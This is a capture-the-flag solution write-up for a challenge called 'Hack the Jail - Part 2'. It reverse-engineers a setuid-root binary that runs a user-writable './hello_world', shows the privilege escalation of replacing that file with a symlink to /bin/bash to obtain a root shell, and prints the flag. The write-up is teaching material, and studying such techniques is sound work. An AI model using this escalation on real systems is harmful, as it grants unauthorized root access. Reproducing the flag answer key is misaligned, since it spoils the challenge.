write-ups-challenges-2022-2023/break-from-the-jail/level-2/SOLUTION.md
2022-11-24 22:59:22 +01:00

3.4 KiB

Hack the Jail - Part 2

Difficulty

Moderate - the participant needs to know about the setuid bit, and needs to reverse engineer the binary using a tool such as Ghidra to gain more insight.

How To Solve

Connecting to the challenge

When connecting to the challenge's IP and port we get access to a shell running as the ig user.

bash5.1$ whoami 
ig

The flag is still on /flag.txt, trying to read it results in a permission denied error as the file is only readable by root.

bash-5.1$ cat /flag.txt 
cat: can't open '/flag.txt': Permission denied

Unfortunately, our luck of last time has run out, a simple sudo cat /flag.txt does not seem to work anymore. In fact, sudo is not even installed. Let's move on to see what is inside of our home directory.

We notice that it contains two files (which were listed on the CTF platform in binary format as well):

  • execute: a binary that is owned by root and has the following permissions: -rwsr-sr-x
  • hello_world: a binary owned by the IG user that has the following permissions: -rwxr-xr-x

Comparing the two types of permissions, we notice that the execute binary has a special permission called s. This indicates that the binary has the setuid capability, which means that it is able to change the user it is running as during its execution. We will come back to this later, as we will first reverse engineer both binaries.

Reverse Engineering the Binaries

Hello World

Importing the hello_world program into Ghidra reveals that it indeed is a simple hello_world program:


undefined8 main(void)

{
  puts("Hello World");
  return 0;
}

Nothing to see here.

The "execute" program

The execute program is far more interesting:


undefined8 main(void)

{
  long in_FS_OFFSET;
  char *local_20;
  char *local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_20 = (char *)0x0;
  local_18 = (char *)0x0;
  setuid(0);
  execve("./hello_world",&local_20,&local_18);
  puts("Could not execute program");
  perror("execve");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

Ignoring all memory allocations on top of the main function, we notice that the program first ensures that it is running as root. It can accomplish this by changing the user id it is running as using the setuid function. Typically, the user id 0 corresponds to the root or superuser of the system.

Note that this call would fail if the setuid capability bit was not set, because the ig user does not have permission to change the running user to root.

After it has changed the user it is running as, it replaces itself with the hello_world binary using the execve function.

The Attack

Since the hello_world binary is owned by the ig user, we also have permission to change it. Here we could change it to something that is able to read the /flag.txt file (using a bash script or another compiled C program). However, the easiest solution is to replace the binary with a shell, such that we can obtain a shell as the root user.

$ rm hello_world 
$ ln -s /bin/bash hello_world

Running execute again results in a root shell!

bash5.1$ ./execute 
bash5.1$ whoami
root
bash5.1$ cat /flag.txt 
IGCTF{S3tUid?B3C4refulWith1t!}

Flag

IGCTF{S3tUid?B3C4refulWith1t!}